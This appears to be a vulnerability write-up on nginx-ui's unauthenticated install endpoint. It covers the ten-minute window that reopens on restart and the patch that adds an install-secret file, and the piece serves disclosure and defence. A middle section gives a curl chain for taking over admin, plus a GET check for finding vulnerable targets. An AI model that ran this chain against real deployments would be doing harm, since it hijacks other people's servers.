The Public Router Held the Bootstrap
router/routers.go mounts the API tree under one Gin group. The pre-patch shape, with the install endpoint highlighted:
// router/routers.go (pre-patch)
root := r.Group("/api", middleware.IPWhiteList())
{
public.InitRouter(root)
crypto.InitPublicRouter(root)
user.InitAuthRouter(root)
license.InitRouter(root)
system.InitPublicRouter(root) // <- install endpoint registered here
system.InitSelfCheckRouter(root)
backup.InitRouter(root) // <- restore endpoint registered here
g := root.Group("/", middleware.AuthRequired(), middleware.Proxy())
{
// every authenticated handler in the product
}
}
IPWhiteList() is enforcement only when settings.AuthSettings.IPWhiteList is non-empty; the default ships empty. The four Init*Router calls before the authenticated group register endpoints with no further middleware. system.InitPublicRouter is one of them:
// api/system/router.go (pre-patch)
func InitPublicRouter(r *gin.RouterGroup) {
r.GET("install", InstallLockCheck)
r.POST("install", middleware.EncryptedParams(), InstallNginxUI)
r.GET("translation/:code", GetTranslation)
}
EncryptedParams is body confidentiality on the wire, not authentication. The middleware reads {"encrypted_params": "..."} from the request body, calls crypto.Decrypt, and replaces c.Request.Body with the decoded JSON before passing the request to the handler. The decryption key is published on the public surface at POST /api/crypto/public_key, which mints an ED25519 key pair on demand for any caller. Anyone who can reach the API can ask for a key, encrypt a body with it, and submit. The middleware says nothing about who the caller is.
The translation endpoint that lives next to the install POST has no authentication for a defensible reason: it serves the install wizard's UI strings before the operator can authenticate. The install POST has the same neighbor and the same lack of an authentication line, and that is the bug.
The Body Picks the Admin
After the route hands off to the handler, the gates are two booleans:
// api/system/install.go (pre-patch)
func InstallNginxUI(c *gin.Context) {
if InstallLockStatus() {
c.JSON(http.StatusForbidden, gin.H{"error": "installed"})
return
}
if IsInstallTimeoutExceeded() {
cosy.ErrHandler(c, system.ErrInstallTimeout)
return
}
var json InstallJson
ok := cosy.BindAndValid(c, &json)
if !ok {
return
}
err := settings.Update(func() {
cSettings.AppSettings.JwtSecret = uuid.New().String()
settings.NodeSettings.Secret = uuid.New().String()
settings.CertSettings.Email = json.Email
})
if err != nil {
cosy.ErrHandler(c, err)
return
}
pwd, err := bcrypt.GenerateFromPassword([]byte(json.Password), bcrypt.DefaultCost)
if err != nil {
cosy.ErrHandler(c, err)
return
}
u := query.User
_, err = u.Where(u.ID.Eq(1)).Updates(&model.User{
Name: json.Username,
Password: string(pwd),
})
...
}
InstallLockStatus() returns true when the JWT secret has already been minted or the binary was started with SkipInstallation=true. IsInstallTimeoutExceeded() returns true once time.Since(startupTime) > 10*time.Minute, where startupTime is set in this file's init() and reset on every process start.
Through both gates, the handler trusts three fields: Email, Username, Password. It writes JwtSecret = uuid.New() and NodeSettings.Secret = uuid.New() (server-controlled), CertSettings.Email = json.Email (caller-controlled), and updates user ID 1's name and bcrypted password to whatever the caller sent. The sister GetPublicKey companion publishes the JWT secret and the node secret to the caller in their next exchange, by way of a session that signs JWTs with the secret the caller's POST just minted.
The JWT secret is the cookie-signing key for every authenticated route in the product. The node secret is the cluster-API bypass. The user row is the admin login for the GUI. One POST writes all three.
X-Node-Secret is the same primitive yesterday's post documented end-to-end: the auth middleware accepts any request that carries X-Node-Secret: <settings.NodeSettings.Secret> as user ID 1, no JWT required.
// internal/middleware/middleware.go
if nodeSecret := getNodeSecret(c); nodeSecret != "" && nodeSecret == settings.NodeSettings.Secret {
initUser := user.GetInitUser(c)
c.Set("Secret", nodeSecret)
c.Set("user", initUser)
c.Next()
return
}
The unauthenticated install endpoint is what makes that branch reachable on day zero. Once the caller's install POST returns, the caller knows the node secret because the install response carries it, and every authenticated endpoint in the product is one header away.
Ten Minutes Is The Same Convention, Repeated
IsInstallTimeoutExceeded() measures wall time since the Go process called init(). The clock was an attempt to give the operator a window to finish the wizard before the endpoint locks itself out. The internal-only-by-convention shape is here in two parts: the route is registered on the public router because the install wizard has to reach it from a browser before the JWT secret exists, and the handler is gated by a clock because the operator is the only intended caller within the window. Both halves are conventions. The network keeps neither.
Each restart resets the clock. A fresh container, a docker-compose up, a Kubernetes rollout, a systemd reboot, a crash-loop, all reopen the window. Operators who deploy nginx-ui in any orchestration that restarts the container, and have not yet completed the install wizard, expose a ten-minute door on every restart. The deploy that does not complete the wizard before the first restart is the deploy that hands the install to the next caller.
The GET /api/install companion is the attacker's reachability check. It returns {"lock":false,"timeout":false} on every fresh instance:
curl -s http://target:9000/api/install
# {"lock":false,"timeout":false}
Two booleans, both attacker-readable, both decisive about whether the next POST will be honored. Mass scanners do not need to send a POST to confirm a target. They send a GET.
Three Steps, One Admin
The full chain is one ED25519 fetch, one encrypted POST, and one authenticated request with the freshly minted node secret:
# 1. Fetch the AES envelope key.
curl -s -X POST http://target:9000/api/crypto/public_key \
-H "Content-Type: application/json" \
-d '{"timestamp":1746000000,"fingerprint":"a"}'
# {"public_key":"-----BEGIN PUBLIC KEY-----\nMC...","request_id":"<uuid>"}
# 2. Encrypt the install payload with that key. The plaintext is:
# {"email":"x@x","username":"admin","password":"pwn"}
# Wire format: {"encrypted_params":"<base64-ciphertext>"}
curl -s -X POST http://target:9000/api/install \
-H "Content-Type: application/json" \
-d '{"encrypted_params":"<base64-ciphertext>"}'
# {"message":"ok"}
# 3. The install response settled the JwtSecret and NodeSettings.Secret on the
# server. The first authenticated request finalises the takeover.
curl -s -X POST http://target:9000/api/login \
-H "Content-Type: application/json" \
-d '{"name":"admin","password":"pwn"}'
# {"token":"<jwt>","short_token":"...","secure_session_id":"..."}
Step 3 is unnecessary if the attacker captures the node secret out of the install response. Step 1 is unnecessary if the attacker reuses an ED25519 key pair across targets, since the fingerprint is caller-supplied. The hard floor is one POST.
After step 3, the admin's name is whatever string the caller put in username. The admin's password is bcrypted from whatever string the caller put in password. The certificate email is whatever the caller put in email, and Let's Encrypt account registration uses that field. The wizard's screen the operator was about to fill in is now filled in. The operator has not seen the screen.
The Patch Replaces the Clock With a File
25dea9f splits the public router into two:
- func InitPublicRouter(r *gin.RouterGroup) {
- r.GET("install", InstallLockCheck)
- r.POST("install", middleware.EncryptedParams(), InstallNginxUI)
- r.GET("translation/:code", GetTranslation)
- }
+ func InitPublicRouter(r *gin.RouterGroup) {
+ r.GET("install", InstallLockCheck)
+ r.GET("translation/:code", GetTranslation)
+ }
+
+ func InitSetupRouter(r *gin.RouterGroup) {
+ r.POST("install", middleware.EncryptedParams(), InstallNginxUI)
+ ...
+ }
InitSetupRouter is mounted under a parallel /setup group whose middleware is new in this commit:
// router/routers.go (post-patch)
setup := root.Group("/setup", middleware.SetupAuthRequired())
{
system.InitSetupRouter(setup)
backup.InitSetupRouter(setup)
}
SetupAuthRequired() keeps the install-time-window booleans, then adds the third check that does the work:
// internal/middleware/install_secret.go (new in patch)
func SetupAuthRequired() gin.HandlerFunc {
return func(c *gin.Context) {
if internalSystem.InstallLockStatus() {
cosy.ErrHandler(c, internalSystem.ErrInstalled)
c.Abort()
return
}
if internalSystem.IsInstallTimeoutExceeded() {
cosy.ErrHandler(c, internalSystem.ErrInstallTimeout)
c.Abort()
return
}
secret := getInstallSecret(c)
if err := authorizeWithInstallSecret(c, secret); err != nil {
cosy.ErrHandler(c, err)
c.Abort()
return
}
c.Next()
}
}
getInstallSecret reads the X-Install-Secret header, falling back to the install_secret query parameter. authorizeWithInstallSecret calls ValidateInstallSecret, which constant-time-compares the caller's bytes against the contents of .install_secret in the config directory:
// internal/system/install_secret.go (new in patch)
const (
InstallSecretHeaderName = "X-Install-Secret"
InstallSecretQueryKey = "install_secret"
InstallSecretFileName = ".install_secret"
InstallWindow = 10 * time.Minute
installSecretBytes = 32
)
func writeInstallSecret(secret string) error {
secretPath := InstallSecretPath()
...
tempFile, err := os.CreateTemp(filepath.Dir(secretPath), InstallSecretFileName+".tmp.*")
...
if _, err := tempFile.WriteString(secret + "\n"); err != nil {
return err
}
if err := tempFile.Chmod(0600); err != nil {
return err
}
...
return os.Rename(tempPath, secretPath)
}
Thirty-two bytes, hex-encoded, written via tempfile-and-rename to mode 0600 in the config directory. EnsureInstallSecret is added to the boot pipeline (internal/kernel/boot.go) so the file exists before the listener accepts connections, and CleanupInstallSecret is called from IsInstallTimeoutExceeded so the file disappears once the window closes. ConsumeInstallSecret is called from the install handler on the success path so a successful setup deletes the file.
The operator-on-the-console assumption now has an enforcement mechanism. install.sh was extended in the same commit to print the secret to the operator's stdout after starting the service:
# install.sh (new in patch)
print_install_secret() {
local secret_path="$DataPath/.install_secret"
...
echo -e "${FontGreen}note: Open the Nginx UI installation page and paste the following install secret:${FontSuffix}"
echo "$install_secret"
}
A network caller cannot read $DataPath/.install_secret because the file is mode 0600 owned by the user nginx-ui runs as. The operator-on-the-console can read it because the install script printed it on the same console the operator is logged into. The two callers diverge by file permissions, the way the convention always wanted them to and never did.
One Commit, Two CVEs
The same commit (25dea9f) makes byte-identical changes to api/backup/router.go. The pre-patch backup router used the same authIfInstalled helper that the system router used; the post-patch backup router relocates the restore endpoint into a parallel InitSetupRouter mounted under the same /setup group. CVE-2026-42222 and CVE-2026-42238 are the same bug in two endpoints, and the fix is one boundary.
Yesterday's post named the pattern: internal-only-by-convention extended over time. The "internal-only" status of the restore endpoint was held by the convention that a console operator would arrive within ten minutes; the same convention held the install endpoint. The restore endpoint was the variant that inherited the gate. The install endpoint is the canonical site, the one for which the gate was originally written. Yesterday's post called the v2.3.8 patch "the perimeter holds, but the artifact's signature does not." This post is the perimeter side of the same statement: the perimeter was a clock and is now a file, and the file is held by a permission bit the network has no way to read.
Two consecutive CVEs in the same product, from the same gate, closed by the same commit. IsInstallTimeoutExceeded was the design-debt driver. Each new feature that needed to run before the install wizard finished took the same convention out of the same file, and each one became its own CVE.
PoC: GHSA-mxqh-q9h6-v8pq
Ten minutes was a check on whether an operator had finished the wizard. The network never had to wait for that.